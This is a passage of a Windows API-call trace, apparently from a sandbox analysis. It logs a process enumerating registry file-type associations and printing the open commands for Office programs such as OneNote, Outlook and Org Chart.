lpNumberOfBytesWritten=0x2eeee8*=0x5e, lpOverlapped=0x0) returned 1 [0101.204] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaae, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.WordAddinTakeNotesButton") returned 0x0 [0101.204] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.WordAddinTakeNotesButton\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.204] SetLastError (dwErrCode=0x2) [0101.204] RegCloseKey (hKey=0x0) returned 0x6 [0101.204] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaaf, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNote.WordAddinTakeNotesService") returned 0x0 [0101.204] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNote.WordAddinTakeNotesService\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.204] SetLastError (dwErrCode=0x2) [0101.204] RegCloseKey (hKey=0x0) returned 0x6 [0101.204] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab0, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNoteDesktop") returned 0x0 [0101.204] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNoteDesktop\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.204] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9c) returned 0x0 [0101.204] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9c | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"", lpcbData=0x2eef20*=0x9c) returned 0x0 [0101.205] RegCloseKey (hKey=0x64) returned 0x0 [0101.205] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OneNoteDesktop=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n") returned 94 [0101.205] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.205] GetFileType (hFile=0x5c) returned 0x3 [0101.205] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.205] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNoteDesktop=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteDesktop=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95 [0101.205] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5e, lpOverlapped=0x0) returned 1 [0101.205] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab1, lpName=0x2eef50, cchName=0x104 | out: lpName="OneNoteDesktop.URL.16") returned 0x0 [0101.205] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneNoteDesktop.URL.16\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.205] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9c) returned 0x0 [0101.205] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9c | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"", lpcbData=0x2eef20*=0x9c) returned 0x0 [0101.205] RegCloseKey (hKey=0x64) returned 0x0 [0101.205] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OneNoteDesktop.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n") returned 101 [0101.205] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.205] GetFileType (hFile=0x5c) returned 0x3 [0101.205] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.206] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OneNoteDesktop.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OneNoteDesktop.URL.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ONENOTE.EXE\" /hyperlink \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 102 [0101.206] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x65, lpOverlapped=0x0) returned 1 [0101.206] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab2, lpName=0x2eef50, cchName=0x104 | out: lpName="OPCFile") returned 0x0 [0101.206] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OPCFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.206] SetLastError (dwErrCode=0x2) [0101.206] RegCloseKey (hKey=0x0) returned 0x6 [0101.206] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab3, lpName=0x2eef50, cchName=0x104 | out: lpName="opensearchblocked") returned 0x0 [0101.206] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="opensearchblocked\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.206] SetLastError (dwErrCode=0x2) [0101.206] RegCloseKey (hKey=0x0) returned 0x6 [0101.206] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab4, lpName=0x2eef50, cchName=0x104 | out: lpName="opensearchdescription") returned 0x0 [0101.206] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="opensearchdescription\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.206] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x34) returned 0x0 [0101.206] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3cb0e0, lpcbData=0x2eef20*=0x34 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\explorer.exe", lpcbData=0x2eef20*=0x34) returned 0x0 [0101.206] RegCloseKey (hKey=0x64) returned 0x0 [0101.207] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="opensearchdescription=%SystemRoot%\\explorer.exe\r\n") returned 49 [0101.207] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.207] GetFileType (hFile=0x5c) returned 0x3 [0101.207] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.207] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="opensearchdescription=%SystemRoot%\\explorer.exe\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="opensearchdescription=%SystemRoot%\\explorer.exe\r\n", lpUsedDefaultChar=0x0) returned 50 [0101.207] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x31, lpOverlapped=0x0) returned 1 [0101.207] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab5, lpName=0x2eef50, cchName=0x104 | out: lpName="opensearchfilefolderresult") returned 0x0 [0101.207] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="opensearchfilefolderresult\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.207] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x2) returned 0x0 [0101.207] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9080, lpcbData=0x2eef20*=0x2 | out: lpType=0x2eef28*=0x1, lpData="", lpcbData=0x2eef20*=0x2) returned 0x0 [0101.207] RegCloseKey (hKey=0x64) returned 0x0 [0101.207] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab6, lpName=0x2eef50, cchName=0x104 | out: lpName="OpenSearchProvider") returned 0x0 [0101.207] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OpenSearchProvider\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.207] SetLastError (dwErrCode=0x2) [0101.207] RegCloseKey (hKey=0x0) returned 0x6 [0101.207] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab7, lpName=0x2eef50, cchName=0x104 | out: lpName="opensearchresult") returned 0x0 [0101.208] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="opensearchresult\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.208] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x2) returned 0x0 [0101.208] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9080, lpcbData=0x2eef20*=0x2 | out: lpType=0x2eef28*=0x1, lpData="", lpcbData=0x2eef20*=0x2) returned 0x0 [0101.208] RegCloseKey (hKey=0x64) returned 0x0 [0101.208] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab8, lpName=0x2eef50, cchName=0x104 | out: lpName="oqyfile") returned 0x0 [0101.208] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="oqyfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.208] SetLastError (dwErrCode=0x2) [0101.208] RegCloseKey (hKey=0x0) returned 0x6 [0101.208] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab9, lpName=0x2eef50, cchName=0x104 | out: lpName="OrgPlusWOPX.4") returned 0x0 [0101.208] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OrgPlusWOPX.4\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.208] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x84) returned 0x0 [0101.208] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x84 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ORGCHART.EXE\" %1", lpcbData=0x2eef20*=0x84) returned 0x0 [0101.208] RegCloseKey (hKey=0x64) returned 0x0 [0101.208] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OrgPlusWOPX.4=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ORGCHART.EXE\" %1\r\n") returned 81 [0101.208] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.208] GetFileType (hFile=0x5c) returned 0x3 [0101.208] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.208] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OrgPlusWOPX.4=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ORGCHART.EXE\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OrgPlusWOPX.4=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\ORGCHART.EXE\" %1\r\n", lpUsedDefaultChar=0x0) returned 82 [0101.209] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x51, lpOverlapped=0x0) returned 1 [0101.209] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaba, lpName=0x2eef50, cchName=0x104 | out: lpName="OscAddin.Connect") returned 0x0 [0101.209] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OscAddin.Connect\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.209] SetLastError (dwErrCode=0x2) [0101.209] RegCloseKey (hKey=0x0) returned 0x6 [0101.209] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xabb, lpName=0x2eef50, cchName=0x104 | out: lpName="OscAddin.SharePointProvider") returned 0x0 [0101.209] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OscAddin.SharePointProvider\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.209] SetLastError (dwErrCode=0x2) [0101.209] RegCloseKey (hKey=0x0) returned 0x6 [0101.209] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xabc, lpName=0x2eef50, cchName=0x104 | out: lpName="OSE.Global") returned 0x0 [0101.209] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OSE.Global\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.209] SetLastError (dwErrCode=0x2) [0101.209] RegCloseKey (hKey=0x0) returned 0x6 [0101.209] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xabd, lpName=0x2eef50, cchName=0x104 | out: lpName="osf.OsfAxControl") returned 0x0 [0101.209] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="osf.OsfAxControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.209] SetLastError (dwErrCode=0x2) [0101.209] RegCloseKey (hKey=0x0) returned 0x6 [0101.209] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xabe, lpName=0x2eef50, cchName=0x104 | out: lpName="osf.RemoterProxy") returned 0x0 [0101.209] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="osf.RemoterProxy\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.209] SetLastError (dwErrCode=0x2) [0101.209] RegCloseKey (hKey=0x0) returned 0x6 [0101.209] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xabf, lpName=0x2eef50, cchName=0x104 | out: lpName="osf.Sandbox") returned 0x0 [0101.210] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="osf.Sandbox\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.210] SetLastError (dwErrCode=0x2) [0101.210] RegCloseKey (hKey=0x0) returned 0x6 [0101.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac0, lpName=0x2eef50, cchName=0x104 | out: lpName="osf.SandboxContext") returned 0x0 [0101.210] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="osf.SandboxContext\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.210] SetLastError (dwErrCode=0x2) [0101.210] RegCloseKey (hKey=0x0) returned 0x6 [0101.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac1, lpName=0x2eef50, cchName=0x104 | out: lpName="OSPPWMI.OSppWmiProvider") returned 0x0 [0101.210] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OSPPWMI.OSppWmiProvider\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.210] SetLastError (dwErrCode=0x2) [0101.210] RegCloseKey (hKey=0x0) returned 0x6 [0101.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac2, lpName=0x2eef50, cchName=0x104 | out: lpName="OSPPWMI.OSppWmiProvider.1") returned 0x0 [0101.210] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OSPPWMI.OSppWmiProvider.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.210] SetLastError (dwErrCode=0x2) [0101.210] RegCloseKey (hKey=0x0) returned 0x6 [0101.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac3, lpName=0x2eef50, cchName=0x104 | out: lpName="OSPPWMI.OSppWmiTokenActivationSigner") returned 0x0 [0101.210] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OSPPWMI.OSppWmiTokenActivationSigner\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.210] SetLastError (dwErrCode=0x2) [0101.210] RegCloseKey (hKey=0x0) returned 0x6 [0101.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac4, lpName=0x2eef50, cchName=0x104 | out: lpName="OSPPWMI.OSppWmiTokenActivationSigner.1") returned 0x0 [0101.210] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OSPPWMI.OSppWmiTokenActivationSigner.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.210] SetLastError (dwErrCode=0x2) [0101.210] RegCloseKey (hKey=0x0) returned 0x6 [0101.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac5, lpName=0x2eef50, cchName=0x104 | out: lpName="otffile") returned 0x0 [0101.210] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="otffile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.211] SetLastError (dwErrCode=0x2) [0101.211] RegCloseKey (hKey=0x0) returned 0x6 [0101.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac6, lpName=0x2eef50, cchName=0x104 | out: lpName="otkloadr.WRAssembly") returned 0x0 [0101.211] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="otkloadr.WRAssembly\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.211] SetLastError (dwErrCode=0x2) [0101.211] RegCloseKey (hKey=0x0) returned 0x6 [0101.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac7, lpName=0x2eef50, cchName=0x104 | out: lpName="otkloadr.WRLoader") returned 0x0 [0101.211] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="otkloadr.WRLoader\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.211] SetLastError (dwErrCode=0x2) [0101.211] RegCloseKey (hKey=0x0) returned 0x6 [0101.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac8, lpName=0x2eef50, cchName=0x104 | out: lpName="OutlMapiPH") returned 0x0 [0101.211] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OutlMapiPH\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.211] SetLastError (dwErrCode=0x2) [0101.211] RegCloseKey (hKey=0x0) returned 0x6 [0101.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac9, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.Application") returned 0x0 [0101.211] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.Application\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.211] SetLastError (dwErrCode=0x2) [0101.211] RegCloseKey (hKey=0x0) returned 0x6 [0101.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaca, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.Application.16") returned 0x0 [0101.211] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.Application.16\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.211] SetLastError (dwErrCode=0x2) [0101.211] RegCloseKey (hKey=0x0) returned 0x6 [0101.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xacb, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.Envelope") returned 0x0 [0101.211] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.Envelope\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.211] SetLastError (dwErrCode=0x2) [0101.211] RegCloseKey (hKey=0x0) returned 0x6 [0101.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xacc, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.det.15") returned 0x0 [0101.211] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.det.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.212] SetLastError (dwErrCode=0x2) [0101.212] RegCloseKey (hKey=0x0) returned 0x6 [0101.212] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xacd, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.eml.15") returned 0x0 [0101.212] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.eml.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.212] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x8c) returned 0x0 [0101.212] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x8c | out: lpType=0x2eef28*=0x1, lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE /eml \"%1\"", lpcbData=0x2eef20*=0x8c) returned 0x0 [0101.212] RegCloseKey (hKey=0x64) returned 0x0 [0101.212] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Outlook.File.eml.15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE /eml \"%1\"\r\n") returned 91 [0101.212] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.212] GetFileType (hFile=0x5c) returned 0x3 [0101.212] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.eml.15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE /eml \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.eml.15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE /eml \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92 [0101.212] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5b, lpOverlapped=0x0) returned 1 [0101.212] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xace, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.fdm.15") returned 0x0 [0101.212] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.fdm.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.212] SetLastError (dwErrCode=0x2) [0101.213] RegCloseKey (hKey=0x0) returned 0x6 [0101.213] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xacf, lpName=0x2eef50, cchName=0x104 | out: lpName="Outlook.File.hol.15") returned 0x0 [0101.213] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Outlook.File.hol.15\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.213] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x90) returned 0x0 [0101.213] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x90 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /hol \"%1\"", lpcbData=0x2eef20*=0x90) returned 0x0 [0101.213] RegCloseKey (hKey=0x64) returned 0x0 [0101.213] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Outlook.File.hol.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /hol \"%1\"\r\n") returned 93 [0101.213] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.213] GetFileType (hFile=0x5c) returned 0x3 [0101.213] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Outlook.File.hol.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /hol \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Outlook.File.hol.15=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /hol \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 94 [0101.213] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5d, lpOverlapped=0x0) returned 1 [0101.213] RegEnumKeyW 